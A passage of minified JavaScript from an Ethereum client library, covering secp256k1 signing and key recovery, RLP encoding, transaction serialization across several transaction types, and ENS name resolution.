a=t.toAffine(),i=n.toBytes(a.x),s=as;return r?s(Uint8Array.from([t.hasEvenY()?2:3]),i):s(Uint8Array.from([4]),i,n.toBytes(a.y))},fromBytes(e){const t=e.length,r=e[0],s=e.subarray(1);if(t!==a||2!==r&&3!==r){if(t===i&&4===r){return{x:n.fromBytes(s.subarray(0,n.BYTES)),y:n.fromBytes(s.subarray(n.BYTES,2*n.BYTES))}}throw new Error(`Point of length ${t} was invalid. Expected ${a} compressed bytes or ${i} uncompressed bytes`)}{const e=$i(s);if(!(Ls<(o=e)&&o<n.ORDER))throw new Error("Point is not on curve");const t=c(e);let a=n.sqrt(t);return 1===(1&r)!==((a&Ds)===Ds)&&(a=n.neg(a)),{x:e,y:a}}var o}}),d=e=>Yi(ts(e,t.nByteLength));function h(e){return e>r>>Ds}const p=(e,t,n)=>$i(e.slice(t,n));class g{constructor(e,t,n){this.r=e,this.s=t,this.recovery=n,this.assertValidity()}static fromCompact(e){const n=t.nByteLength;return e=rs("compactSignature",e,2*n),new g(p(e,0,n),p(e,n,2*n))}static fromDER(e){const{r:t,s:n}=Fs.toSig(rs("DER",e));return new g(t,n)}assertValidity(){if(!f(this.r))throw new Error("r must be 0 < r < CURVE.n");if(!f(this.s))throw new Error("s must be 0 < s < CURVE.n")}addRecoveryBit(e){return new g(this.r,this.s,e)}recoverPublicKey(e){const{r:r,s:a,recovery:i}=this,u=w(rs("msgHash",e));if(null==i||![0,1,2,3].includes(i))throw new Error("recovery id invalid");const c=2===i||3===i?r+t.n:r;if(c>=n.ORDER)throw new Error("recovery id 2 or 3 invalid");const f=0===(1&i)?"02":"03",h=l.fromHex(f+d(c)),p=o(c),g=s(-u*p),m=s(a*p),y=l.BASE.multiplyAndAddUnsafe(h,g,m);if(!y)throw new Error("point at infinify");return y.assertValidity(),y}hasHighS(){return h(this.s)}normalizeS(){return this.hasHighS()?new g(this.r,s(-this.s),this.recovery):this}toDERRawBytes(){return Xi(this.toDERHex())}toDERHex(){return Fs.hexFromSig({r:this.r,s:this.s})}toCompactRawBytes(){return Xi(this.toCompactHex())}toCompactHex(){return d(this.r)+d(this.s)}}const m={isValidPrivateKey(e){try{return u(e),!0}catch(t){return!1}},normPrivateKeyToScalar:u,randomPrivateKey:()=>{const e=Ps(t.n);return function(e,t){let n=arguments.length>2&&void 0!==arguments[2]&&arguments[2];const r=e.length,a=xs(t),i=Ps(t);if(r<16||r<i||r>1024)throw new Error(`expected ${i}-1024 bytes of input, got ${r}`);const s=bs(n?$i(e):es(e),t-ds)+ds;return n?ns(s,a):ts(s,a)}(t.randomBytes(e),t.n)},precompute(){let e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:8,t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:l.BASE;return t._setWindowSize(e),t.multiply(BigInt(3)),t}};function y(e){const t=e instanceof Uint8Array,n="string"===typeof e,r=(t||n)&&e.length;return t?r===a||r===i:n?r===2*a||r===2*i:e instanceof l}const b=t.bits2int||function(e){const n=$i(e),r=8*e.length-t.nBitLength;return r>0?n>>BigInt(r):n},w=t.bits2int_modN||function(e){return s(b(e))},v=is(t.nBitLength);function A(e){if("bigint"!==typeof e)throw new Error("bigint expected");if(!(Ls<=e&&e<v))throw new Error(`bigint expected < 2^${t.nBitLength}`);return ts(e,t.nByteLength)}function k(e,r){let a=arguments.length>2&&void 0!==arguments[2]?arguments[2]:E;if(["recovered","canonical"].some((e=>e in a)))throw new Error("sign() legacy options not supported");const{hash:i,randomBytes:c}=t;let{lowS:d,prehash:p,extraEntropy:m}=a;null==d&&(d=!0),e=rs("msgHash",e),p&&(e=rs("prehashed msgHash",i(e)));const y=w(e),v=u(r),k=[A(v),A(y)];if(null!=m){const e=!0===m?c(n.BYTES):m;k.push(rs("extraEntropy",e))}const S=as(...k),x=y;return{seed:S,k2sig:function(e){const t=b(e);if(!f(t))return;const n=o(t),r=l.BASE.multiply(t).toAffine(),a=s(r.x);if(a===Ls)return;const i=s(n*s(x+a*v));if(i===Ls)return;let u=(r.x===a?0:2)|Number(r.y&Ds),c=i;return d&&h(i)&&(c=function(e){return h(e)?s(-e):e}(i),u^=1),new g(a,c,u)}}}const E={lowS:t.lowS,prehash:!1},S={lowS:t.lowS,prehash:!1};return l.BASE._setWindowSize(8),{CURVE:t,getPublicKey:function(e){let t=!(arguments.length>1&&void 0!==arguments[1])||arguments[1];return l.fromPrivateKey(e).toRawBytes(t)},getSharedSecret:function(e,t){let n=!(arguments.length>2&&void 0!==arguments[2])||arguments[2];if(y(e))throw new Error("first arg must be private key");if(!y(t))throw new Error("second arg must be public key");return l.fromHex(t).multiply(u(e)).toRawBytes(n)},sign:function(e,n){let r=arguments.length>2&&void 0!==arguments[2]?arguments[2]:E;const{seed:a,k2sig:i}=k(e,n,r),s=t;return ls(s.hash.outputLen,s.nByteLength,s.hmac)(a,i)},verify:function(e,n,r){let a=arguments.length>3&&void 0!==arguments[3]?arguments[3]:S;const i=e;if(n=rs("msgHash",n),r=rs("publicKey",r),"strict"in a)throw new Error("options.strict was renamed to lowS");const{lowS:u,prehash:c}=a;let f,d;try{if("string"===typeof i||i instanceof Uint8Array)try{f=g.fromDER(i)}catch(k){if(!(k instanceof Fs.Err))throw k;f=g.fromCompact(i)}else{if("object"!==typeof i||"bigint"!==typeof i.r||"bigint"!==typeof i.s)throw new Error("PARSE");{const{r:e,s:t}=i;f=new g(e,t)}}d=l.fromHex(r)}catch(E){if("PARSE"===E.message)throw new Error("signature must be Signature instance, Uint8Array or hex string");return!1}if(u&&f.hasHighS())return!1;c&&(n=t.hash(n));const{r:h,s:p}=f,m=w(n),y=o(p),b=s(m*y),v=s(h*y),A=l.BASE.multiplyAndAddUnsafe(d,b,v)?.toAffine();return!!A&&s(A.x)===h},ProjectivePoint:l,Signature:g,utils:m}}function _s(e){return{hash:e,hmac:function(t){for(var n=arguments.length,r=new Array(n>1?n-1:0),a=1;a<n;a++)r[a-1]=arguments[a];return Ns(e,t,function(){for(var e=arguments.length,t=new Array(e),n=0;n<e;n++)t[n]=arguments[n];const r=new Uint8Array(t.reduce(((e,t)=>e+t.length),0));let a=0;return t.forEach((e=>{if(!we(e))throw new Error("Uint8Array expected");r.set(e,a),a+=e.length})),r}(...r))},randomBytes:xe}}const Hs=BigInt("0xfffffffffffffffffffffffffffffffffffffffffffffffffffffffefffffc2f"),js=BigInt("0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141"),Gs=BigInt(1),Qs=BigInt(2),Vs=(e,t)=>(e+t/Qs)/t;function Js(e){const t=Hs,n=BigInt(3),r=BigInt(6),a=BigInt(11),i=BigInt(22),s=BigInt(23),o=BigInt(44),l=BigInt(88),u=e*e*e%t,c=u*u*e%t,f=vs(c,n,t)*c%t,d=vs(f,n,t)*c%t,h=vs(d,Qs,t)*u%t,p=vs(h,a,t)*h%t,g=vs(p,i,t)*p%t,m=vs(g,o,t)*g%t,y=vs(m,l,t)*m%t,b=vs(y,o,t)*g%t,w=vs(b,n,t)*c%t,v=vs(w,s,t)*p%t,A=vs(v,r,t)*u%t,k=vs(A,Qs,t);if(!qs.eql(qs.sqr(k),e))throw new Error("Cannot find square root");return k}const qs=function(e,t){let n=arguments.length>2&&void 0!==arguments[2]&&arguments[2],r=arguments.length>3&&void 0!==arguments[3]?arguments[3]:{};if(e<=fs)throw new Error(`Expected Field ORDER > 0, got ${e}`);const{nBitLength:a,nByteLength:i}=Ss(e,t);if(i>2048)throw new Error("Field lengths over 2048 bytes are not supported");const s=ks(e),o=Object.freeze({ORDER:e,BITS:a,BYTES:i,MASK:is(a),ZERO:fs,ONE:ds,create:t=>bs(t,e),isValid:t=>{if("bigint"!==typeof t)throw new Error("Invalid field element: expected bigint, got "+typeof t);return fs<=t&&t<e},is0:e=>e===fs,isOdd:e=>(e&ds)===ds,neg:t=>bs(-t,e),eql:(e,t)=>e===t,sqr:t=>bs(t*t,e),add:(t,n)=>bs(t+n,e),sub:(t,n)=>bs(t-n,e),mul:(t,n)=>bs(t*n,e),pow:(e,t)=>function(e,t,n){if(n<fs)throw new Error("Expected power > 0");if(n===fs)return e.ONE;if(n===ds)return t;let r=e.ONE,a=t;for(;n>fs;)n&ds&&(r=e.mul(r,a)),a=e.sqr(a),n>>=ds;return r}(o,e,t),div:(t,n)=>bs(t*As(n,e),e),sqrN:e=>e*e,addN:(e,t)=>e+t,subN:(e,t)=>e-t,mulN:(e,t)=>e*t,inv:t=>As(t,e),sqrt:r.sqrt||(e=>s(o,e)),invertBatch:e=>function(e,t){const n=new Array(t.length),r=t.reduce(((t,r,a)=>e.is0(r)?t:(n[a]=t,e.mul(t,r))),e.ONE),a=e.inv(r);return t.reduceRight(((t,r,a)=>e.is0(r)?t:(n[a]=e.mul(t,n[a]),e.mul(t,r))),a),n}(o,e),cmov:(e,t,n)=>n?t:e,toBytes:e=>n?ns(e,i):ts(e,i),fromBytes:e=>{if(e.length!==i)throw new Error(`Fp.fromBytes: expected ${i}, got ${e.length}`);return n?es(e):$i(e)}});return Object.freeze(o)}(Hs,void 0,void 0,{sqrt:Js}),Ks=function(e,t){const n=t=>zs({...e,..._s(t)});return Object.freeze({...n(t),create:n})}({a:BigInt(0),b:BigInt(7),Fp:qs,n:js,Gx:BigInt("55066263022277343669578718895168534326250603453777594175500187360389116729240"),Gy:BigInt("32670510020758816978083085130507043184471273380659243275938904335757337482424"),h:BigInt(1),lowS:!0,endo:{beta:BigInt("0x7ae96a2b657c07106e64479eac3434e99cf0497512f58995c1396c28719501ee"),splitScalar:e=>{const t=js,n=BigInt("0x3086d221a7d46bcde86c90e49284eb15"),r=-Gs*BigInt("0xe4437ed6010e88286f547fa90abfe4c3"),a=BigInt("0x114ca50f7a8e2f3f657c1108d9d44cfd8"),i=n,s=BigInt("0x100000000000000000000000000000000"),o=Vs(i*e,t),l=Vs(-r*e,t);let u=bs(e-o*n-l*a,t),c=bs(-o*r-l*i,t);const f=u>s,d=c>s;if(f&&(u=t-u),d&&(c=t-c),u>s||c>s)throw new Error("splitScalar: Endomorphism failed, k="+e);return{k1neg:f,k1:u,k2neg:d,k2:c}}}},wi);BigInt(0);Ks.ProjectivePoint;class Ws{#re;constructor(e){p(32===P(e),"invalid private key","privateKey","[REDACTED]"),this.#re=S(e)}get privateKey(){return this.#re}get publicKey(){return Ws.computePublicKey(this.#re)}get compressedPublicKey(){return Ws.computePublicKey(this.#re,!0)}sign(e){p(32===P(e),"invalid digest length","digest",e);const t=Ks.sign(v(e),v(this.#re),{lowS:!0});return Vi.from({r:H(t.r,32),s:H(t.s,32),v:t.recovery?28:27})}computeSharedSecret(e){const t=Ws.computePublicKey(e);return S(Ks.getSharedSecret(v(this.#re),w(t),!1))}static computePublicKey(e,t){let n=w(e,"key");if(32===n.length){return S(Ks.getPublicKey(n,!!t))}if(64===n.length){const e=new Uint8Array(65);e[0]=4,e.set(n,1),n=e}return S(Ks.ProjectivePoint.fromHex(n).toRawBytes(t))}static recoverPublicKey(e,t){p(32===P(e),"invalid digest length","digest",e);const n=Vi.from(t);let r=Ks.Signature.fromCompact(v(x([n.r,n.s])));r=r.addRecoveryBit(n.yParity);const a=r.recoverPublicKey(v(e));return p(null!=a,"invalid signautre for digest","signature",t),"0x"+a.toHex(!1)}static addPoints(e,t,n){const r=Ks.ProjectivePoint.fromHex(Ws.computePublicKey(e).substring(2)),a=Ks.ProjectivePoint.fromHex(Ws.computePublicKey(t).substring(2));return"0x"+r.add(a).toHex(!!n)}}function Ys(e){let t=e.toString(16);for(;t.length<2;)t="0"+t;return"0x"+t}function Zs(e,t,n){let r=0;for(let a=0;a<n;a++)r=256*r+e[t+a];return r}function Xs(e,t,n,r){const a=[];for(;n<t+1+r;){const i=$s(e,n);a.push(i.result),h((n+=i.consumed)<=t+1+r,"child data too short","BUFFER_OVERRUN",{buffer:e,length:r,offset:t})}return{consumed:1+r,result:a}}function $s(e,t){h(0!==e.length,"data too short","BUFFER_OVERRUN",{buffer:e,length:0,offset:1});const n=t=>{h(t<=e.length,"data short segment too short","BUFFER_OVERRUN",{buffer:e,length:e.length,offset:t})};if(e[t]>=248){const r=e[t]-247;n(t+1+r);const a=Zs(e,t+1,r);return n(t+1+r+a),Xs(e,t,t+1+r,r+a)}if(e[t]>=192){const r=e[t]-192;return n(t+1+r),Xs(e,t,t+1,r)}if(e[t]>=184){const r=e[t]-183;n(t+1+r);const a=Zs(e,t+1,r);n(t+1+r+a);return{consumed:1+r+a,result:S(e.slice(t+1+r,t+1+r+a))}}if(e[t]>=128){const r=e[t]-128;n(t+1+r);return{consumed:1+r,result:S(e.slice(t+1,t+1+r))}}return{consumed:1,result:Ys(e[t])}}function eo(e){const t=w(e,"data"),n=$s(t,0);return p(n.consumed===t.length,"unexpected junk after rlp payload","data",e),n.result}function to(e){const t=[];for(;e;)t.unshift(255&e),e>>=8;return t}function no(e){if(Array.isArray(e)){let t=[];if(e.forEach((function(e){t=t.concat(no(e))})),t.length<=55)return t.unshift(192+t.length),t;const n=to(t.length);return n.unshift(247+n.length),n.concat(t)}const t=Array.prototype.slice.call(w(e,"object"));if(1===t.length&&t[0]<=127)return t;if(t.length<=55)return t.unshift(128+t.length),t;const n=to(t.length);return n.unshift(183+n.length),n.concat(t)}const ro="0123456789abcdef";function ao(e){let t="0x";for(const n of no(e))t+=ro[n>>4],t+=ro[15&n];return t}function io(e,t){return function(e){let t;return t="string"===typeof e?Ws.computePublicKey(e,!1):e.publicKey,Xe(Ve("0x"+t.substring(4)).substring(26))}(Ws.recoverPublicKey(e,t))}const so=BigInt(0),oo=BigInt(2),lo=BigInt(27),uo=BigInt(28),co=BigInt(35),fo=BigInt("0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"),ho=131072;function po(e,t){let n=e.toString(16);for(;n.length<2;)n="0"+n;return n+=Fi(t).substring(4),"0x"+n}function go(e){return"0x"===e?null:Xe(e)}function mo(e,t){try{return Qn(e)}catch(n){p(!1,n.message,t,e)}}function yo(e,t){return"0x"===e?0:_(e,t)}function bo(e,t){if("0x"===e)return so;const n=D(e,t);return p(n<=fo,"value exceeds uint size",t,n),n}function wo(e,t){const n=D(e,"value"),r=j(n);return p(r.length<=32,"value too large",`tx.${t}`,n),r}function vo(e){return Qn(e).map((e=>[e.address,e.storageKeys]))}function Ao(e,t){p(Array.isArray(e),`invalid ${t}`,"value",e);for(let n=0;n<e.length;n++)p(A(e[n],32),"invalid ${ param } hash",`value[${n}]`,e[n]);return e}function ko(e,t){let n;try{if(n=yo(t[0],"yParity"),0!==n&&1!==n)throw new Error("bad yParity")}catch(s){p(!1,"invalid yParity","yParity",t[0])}const r=O(t[1],32),a=O(t[2],32),i=Vi.from({r:r,s:a,yParity:n});e.signature=i}class Eo{#ae;#ie;#t;#se;#oe;#le;#ue;#ce;#fe;#de;#he;#pe;#ge;#me;#ye;#be;get type(){return this.#ae}set type(e){switch(e){case null:this.#ae=null;break;case 0:case"legacy":this.#ae=0;break;case 1:case"berlin":case"eip-2930":this.#ae=1;break;case 2:case"london":case"eip-1559":this.#ae=2;break;case 3:case"cancun":case"eip-4844":this.#ae=3;break;default:p(!1,"unsupported transaction type","type",e)}}get typeName(){switch(this.type){case 0:return"legacy";case 1:return"eip-2930";case 2:return"eip-1559";case 3:return"eip-4844"}return null}get to(){const e=this.#ie;return null==e&&3===this.type?ir:e}set to(e){this.#ie=null==e?null:Xe(e)}get nonce(){return this.#se}set nonce(e){this.#se=_(e,"value")}get gasLimit(){return this.#oe}set gasLimit(e){this.#oe=D(e)}get gasPrice(){const e=this.#le;return null!=e||0!==this.type&&1!==this.type?e:so}set gasPrice(e){this.#le=null==e?null:D(e,"gasPrice")}get maxPriorityFeePerGas(){const e=this.#ue;return null==e?2===this.type||3===this.type?so:null:e}set maxPriorityFeePerGas(e){this.#ue=null==e?null:D(e,"maxPriorityFeePerGas")}get maxFeePerGas(){const e=this.#ce;return null==e?2===this.type||3===this.type?so:null:e}set maxFeePerGas(e){this.#ce=null==e?null:D(e,"maxFeePerGas")}get data(){return this.#t}set data(e){this.#t=S(e)}get value(){return this.#fe}set value(e){this.#fe=D(e,"value")}get chainId(){return this.#de}set chainId(e){this.#de=D(e)}get signature(){return this.#he||null}set signature(e){this.#he=null==e?null:Vi.from(e)}get accessList(){const e=this.#pe||null;return null==e?1===this.type||2===this.type||3===this.type?[]:null:e}set accessList(e){this.#pe=null==e?null:Qn(e)}get maxFeePerBlobGas(){const e=this.#ge;return null==e&&3===this.type?so:e}set maxFeePerBlobGas(e){this.#ge=null==e?null:D(e,"maxFeePerBlobGas")}get blobVersionedHashes(){let e=this.#me;return null==e&&3===this.type?[]:e}set blobVersionedHashes(e){if(null!=e){p(Array.isArray(e),"blobVersionedHashes must be an Array","value",e),e=e.slice();for(let t=0;t<e.length;t++)p(A(e[t],32),"invalid blobVersionedHash",`value[${t}]`,e[t])}this.#me=e}get blobs(){return null==this.#be?null:this.#be.map((e=>Object.assign({},e)))}set blobs(e){if(null==e)return void(this.#be=null);const t=[],n=[];for(let r=0;r<e.length;r++){const a=e[r];if(k(a)){h(this.#ye,"adding a raw blob requires a KZG library","UNSUPPORTED_OPERATION",{operation:"set blobs()"});let e=w(a);if(p(e.length<=ho,"blob is too large",`blobs[${r}]`,a),e.length!==ho){const t=new Uint8Array(ho);t.set(e),e=t}const i=this.#ye.blobToKzgCommitment(e),s=S(this.#ye.computeBlobKzgProof(e,i));t.push({data:S(e),commitment:S(i),proof:s}),n.push(po(1,i))}else{const e=S(a.commitment);t.push({data:S(a.data),commitment:e,proof:S(a.proof)}),n.push(po(1,e))}}this.#be=t,this.#me=n}get kzg(){return this.#ye}set kzg(e){this.#ye=e}constructor(){this.#ae=null,this.#ie=null,this.#se=0,this.#oe=so,this.#le=null,this.#ue=null,this.#ce=null,this.#t="0x",this.#fe=so,this.#de=so,this.#he=null,this.#pe=null,this.#ge=null,this.#me=null,this.#be=null,this.#ye=null}get hash(){return null==this.signature?null:Ve(this.#we(!0,!1))}get unsignedHash(){return Ve(this.unsignedSerialized)}get from(){return null==this.signature?null:io(this.unsignedHash,this.signature)}get fromPublicKey(){return null==this.signature?null:Ws.recoverPublicKey(this.unsignedHash,this.signature)}isSigned(){return null!=this.signature}#we(e,t){h(!e||null!=this.signature,"cannot serialize unsigned transaction; maybe you meant .unsignedSerialized","UNSUPPORTED_OPERATION",{operation:".serialized"});const n=e?this.signature:null;switch(this.inferType()){case 0:return function(e,t){const n=[wo(e.nonce,"nonce"),wo(e.gasPrice||0,"gasPrice"),wo(e.gasLimit,"gasLimit"),e.to||"0x",wo(e.value,"value"),e.data];let r=so;if(e.chainId!=so)r=D(e.chainId,"tx.chainId"),p(!t||null==t.networkV||t.legacyChainId===r,"tx.chainId/sig.v mismatch","sig",t);else if(e.signature){const t=e.signature.legacyChainId;null!=t&&(r=t)}if(!t)return r!==so&&(n.push(j(r)),n.push("0x"),n.push("0x")),ao(n);let a=BigInt(27+t.yParity);return r!==so?a=Vi.getChainIdV(r,t.v):BigInt(t.v)!==a&&p(!1,"tx.chainId/sig.v mismatch","sig",t),n.push(j(a)),n.push(j(t.r)),n.push(j(t.s)),ao(n)}(this,n);case 1:return function(e,t){const n=[wo(e.chainId,"chainId"),wo(e.nonce,"nonce"),wo(e.gasPrice||0,"gasPrice"),wo(e.gasLimit,"gasLimit"),e.to||"0x",wo(e.value,"value"),e.data,vo(e.accessList||[])];return t&&(n.push(wo(t.yParity,"recoveryParam")),n.push(j(t.r)),n.push(j(t.s))),x(["0x01",ao(n)])}(this,n);case 2:return function(e,t){const n=[wo(e.chainId,"chainId"),wo(e.nonce,"nonce"),wo(e.maxPriorityFeePerGas||0,"maxPriorityFeePerGas"),wo(e.maxFeePerGas||0,"maxFeePerGas"),wo(e.gasLimit,"gasLimit"),e.to||"0x",wo(e.value,"value"),e.data,vo(e.accessList||[])];return t&&(n.push(wo(t.yParity,"yParity")),n.push(j(t.r)),n.push(j(t.s))),x(["0x02",ao(n)])}(this,n);case 3:return function(e,t,n){const r=[wo(e.chainId,"chainId"),wo(e.nonce,"nonce"),wo(e.maxPriorityFeePerGas||0,"maxPriorityFeePerGas"),wo(e.maxFeePerGas||0,"maxFeePerGas"),wo(e.gasLimit,"gasLimit"),e.to||ir,wo(e.value,"value"),e.data,vo(e.accessList||[]),wo(e.maxFeePerBlobGas||0,"maxFeePerBlobGas"),Ao(e.blobVersionedHashes||[],"blobVersionedHashes")];return t&&(r.push(wo(t.yParity,"yParity")),r.push(j(t.r)),r.push(j(t.s)),n)?x(["0x03",ao([r,n.map((e=>e.data)),n.map((e=>e.commitment)),n.map((e=>e.proof))])]):x(["0x03",ao(r)])}(this,n,t?this.blobs:null)}h(!1,"unsupported transaction type","UNSUPPORTED_OPERATION",{operation:".serialized"})}get serialized(){return this.#we(!0,!0)}get unsignedSerialized(){return this.#we(!1,!1)}inferType(){const e=this.inferTypes();return e.indexOf(2)>=0?2:e.pop()}inferTypes(){const e=null!=this.gasPrice,t=null!=this.maxFeePerGas||null!=this.maxPriorityFeePerGas,n=null!=this.accessList,r=null!=this.#ge||this.#me;null!=this.maxFeePerGas&&null!=this.maxPriorityFeePerGas&&h(this.maxFeePerGas>=this.maxPriorityFeePerGas,"priorityFee cannot be more than maxFee","BAD_DATA",{value:this}),h(!t||0!==this.type&&1!==this.type,"transaction type cannot have maxFeePerGas or maxPriorityFeePerGas","BAD_DATA",{value:this}),h(0!==this.type||!n,"legacy transaction cannot have accessList","BAD_DATA",{value:this});const a=[];return null!=this.type?a.push(this.type):t?a.push(2):e?(a.push(1),n||a.push(0)):n?(a.push(1),a.push(2)):(r&&this.to||(a.push(0),a.push(1),a.push(2)),a.push(3)),a.sort(),a}isLegacy(){return 0===this.type}isBerlin(){return 1===this.type}isLondon(){return 2===this.type}isCancun(){return 3===this.type}clone(){return Eo.from(this)}toJSON(){const e=e=>null==e?null:e.toString();return{type:this.type,to:this.to,data:this.data,nonce:this.nonce,gasLimit:e(this.gasLimit),gasPrice:e(this.gasPrice),maxPriorityFeePerGas:e(this.maxPriorityFeePerGas),maxFeePerGas:e(this.maxFeePerGas),value:e(this.value),chainId:e(this.chainId),sig:this.signature?this.signature.toJSON():null,accessList:this.accessList}}static from(e){if(null==e)return new Eo;if("string"===typeof e){const t=w(e);if(t[0]>=127)return Eo.from(function(e){const t=eo(e);p(Array.isArray(t)&&(9===t.length||6===t.length),"invalid field count for legacy transaction","data",e);const n={type:0,nonce:yo(t[0],"nonce"),gasPrice:bo(t[1],"gasPrice"),gasLimit:bo(t[2],"gasLimit"),to:go(t[3]),value:bo(t[4],"value"),data:S(t[5]),chainId:so};if(6===t.length)return n;const r=bo(t[6],"v"),a=bo(t[7],"r"),i=bo(t[8],"s");if(a===so&&i===so)n.chainId=r;else{let e=(r-co)/oo;e<so&&(e=so),n.chainId=e,p(e!==so||r===lo||r===uo,"non-canonical legacy v","v",t[6]),n.signature=Vi.from({r:O(t[7],32),s:O(t[8],32),v:r})}return n}(t));switch(t[0]){case 1:return Eo.from(function(e){const t=eo(w(e).slice(1));p(Array.isArray(t)&&(8===t.length||11===t.length),"invalid field count for transaction type: 1","data",S(e));const n={type:1,chainId:bo(t[0],"chainId"),nonce:yo(t[1],"nonce"),gasPrice:bo(t[2],"gasPrice"),gasLimit:bo(t[3],"gasLimit"),to:go(t[4]),value:bo(t[5],"value"),data:S(t[6]),accessList:mo(t[7],"accessList")};return 8===t.length||ko(n,t.slice(8)),n}(t));case 2:return Eo.from(function(e){const t=eo(w(e).slice(1));p(Array.isArray(t)&&(9===t.length||12===t.length),"invalid field count for transaction type: 2","data",S(e));const n={type:2,chainId:bo(t[0],"chainId"),nonce:yo(t[1],"nonce"),maxPriorityFeePerGas:bo(t[2],"maxPriorityFeePerGas"),maxFeePerGas:bo(t[3],"maxFeePerGas"),gasPrice:null,gasLimit:bo(t[4],"gasLimit"),to:go(t[5]),value:bo(t[6],"value"),data:S(t[7]),accessList:mo(t[8],"accessList")};return 9===t.length||ko(n,t.slice(9)),n}(t));case 3:return Eo.from(function(e){let t=eo(w(e).slice(1)),n="3",r=null;if(4===t.length&&Array.isArray(t[0])){n="3 (network format)";const e=t[1],a=t[2],i=t[3];p(Array.isArray(e),"invalid network format: blobs not an array","fields[1]",e),p(Array.isArray(a),"invalid network format: commitments not an array","fields[2]",a),p(Array.isArray(i),"invalid network format: proofs not an array","fields[3]",i),p(e.length===a.length,"invalid network format: blobs/commitments length mismatch","fields",t),p(e.length===i.length,"invalid network format: blobs/proofs length mismatch","fields",t),r=[];for(let n=0;n<t[1].length;n++)r.push({data:e[n],commitment:a[n],proof:i[n]});t=t[0]}p(Array.isArray(t)&&(11===t.length||14===t.length),`invalid field count for transaction type: ${n}`,"data",S(e));const a={type:3,chainId:bo(t[0],"chainId"),nonce:yo(t[1],"nonce"),maxPriorityFeePerGas:bo(t[2],"maxPriorityFeePerGas"),maxFeePerGas:bo(t[3],"maxFeePerGas"),gasPrice:null,gasLimit:bo(t[4],"gasLimit"),to:go(t[5]),value:bo(t[6],"value"),data:S(t[7]),accessList:mo(t[8],"accessList"),maxFeePerBlobGas:bo(t[9],"maxFeePerBlobGas"),blobVersionedHashes:t[10]};r&&(a.blobs=r),p(null!=a.to,`invalid address for transaction type: ${n}`,"data",e),p(Array.isArray(a.blobVersionedHashes),"invalid blobVersionedHashes: must be an array","data",e);for(let i=0;i<a.blobVersionedHashes.length;i++)p(A(a.blobVersionedHashes[i],32),`invalid blobVersionedHash at index ${i}: must be length 32`,"data",e);return 11===t.length||ko(a,t.slice(11)),a}(t))}h(!1,"unsupported transaction type","UNSUPPORTED_OPERATION",{operation:"from"})}const t=new Eo;return null!=e.type&&(t.type=e.type),null!=e.to&&(t.to=e.to),null!=e.nonce&&(t.nonce=e.nonce),null!=e.gasLimit&&(t.gasLimit=e.gasLimit),null!=e.gasPrice&&(t.gasPrice=e.gasPrice),null!=e.maxPriorityFeePerGas&&(t.maxPriorityFeePerGas=e.maxPriorityFeePerGas),null!=e.maxFeePerGas&&(t.maxFeePerGas=e.maxFeePerGas),null!=e.maxFeePerBlobGas&&(t.maxFeePerBlobGas=e.maxFeePerBlobGas),null!=e.data&&(t.data=e.data),null!=e.value&&(t.value=e.value),null!=e.chainId&&(t.chainId=e.chainId),null!=e.signature&&(t.signature=Vi.from(e.signature)),null!=e.accessList&&(t.accessList=e.accessList),null!=e.blobVersionedHashes&&(t.blobVersionedHashes=e.blobVersionedHashes),null!=e.kzg&&(t.kzg=e.kzg),null!=e.blobs&&(t.blobs=e.blobs),null!=e.hash&&(p(t.isSigned(),"unsigned transaction cannot define '.hash'","tx",e),p(t.hash===e.hash,"hash mismatch","tx",e)),null!=e.from&&(p(t.isSigned(),"unsigned transaction cannot define '.from'","tx",e),p(t.from.toLowerCase()===(e.from||"").toLowerCase(),"from mismatch","tx",e)),t}}const So="123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz";BigInt(0);const xo=BigInt(58);function Po(e){return e.match(/^ipfs:\/\/ipfs\//i)?e=e.substring(12):e.match(/^ipfs:\/\//i)?e=e.substring(7):p(!1,"unsupported IPFS format","link",e),`https://gateway.ipfs.io/ipfs/${e}`}class Co{name;constructor(e){l(this,{name:e})}connect(e){return this}supportsCoinType(e){return!1}async encodeAddress(e,t){throw new Error("unsupported coin")}async decodeAddress(e,t){throw new Error("unsupported coin")}}const No=new RegExp("^(ipfs)://(.*)$","i"),Oo=[new RegExp("^(https)://(.*)$","i"),new RegExp("^(data):(.*)$","i"),No,new RegExp("^eip155:[0-9]+/(erc[0-9]+):(.*)$","i")];class To{provider;address;name;#ve;#Ae;constructor(e,t,n){l(this,{provider:e,address:t,name:n}),this.#ve=null,this.#Ae=new $r(t,["function supportsInterface(bytes4) view returns (bool)","function resolve(bytes, bytes) view returns (bytes)","function addr(bytes32) view returns (address)","function addr(bytes32, uint) view returns (bytes)","function text(bytes32, string) view returns (string)","function contenthash(bytes32) view returns (bytes)"],e)}async supportsWildcard(){return null==this.#ve&&(this.#ve=(async()=>{try{return await this.#Ae.supportsInterface("0x9061b923")}catch(e){if(c(e,"CALL_EXCEPTION"))return!1;throw this.#ve=null,e}})()),await this.#ve}async#ke(e,t){t=(t||[]).slice();const n=this.#Ae.interface;t.unshift(ci(this.name));let r=null;await this.supportsWildcard()&&(r=n.getFunction(e),h(r,"missing fragment","UNKNOWN_ERROR",{info:{funcName:e}}),t=[fi(this.name,255),n.encodeFunctionData(r,t)],e="resolve(bytes,bytes)"),t.push({enableCcipRead:!0});try{const a=await this.#Ae[e](...t);return r?n.decodeFunctionResult(r,a)[0]:a}catch(a){if(!c(a,"CALL_EXCEPTION"))throw a}return null}async getAddress(e){if(null==e&&(e=60),60===e)try{const e=await this.#ke("addr(bytes32)");return null==e||e===ir?null:e}catch(a){if(c(a,"CALL_EXCEPTION"))return null;throw a}if(e>=0&&e<2147483648){let t=e+2147483648;const n=await this.#ke("addr(bytes32,uint)",[t]);if(A(n,20))return Xe(n)}let t=null;for(const i of this.provider.plugins)if(i instanceof Co&&i.supportsCoinType(e)){t=i;break}if(null==t)return null;const n=await this.#ke("addr(bytes32,uint)",[e]);if(null==n||"0x"===n)return null;const r=await t.decodeAddress(e,n);if(null!=r)return r;h(!1,"invalid coin data","UNSUPPORTED_OPERATION",{operation:`getAddress(${e})`,info:{coinType:e,data:n}})}async getText(e){const t=await this.#ke("text(bytes32,string)",[e]);return null==t||"0x"===t?null:t}async getContentHash(){const e=await this.#ke("contenthash(bytes32)");if(null==e||"0x"===e)return null;const 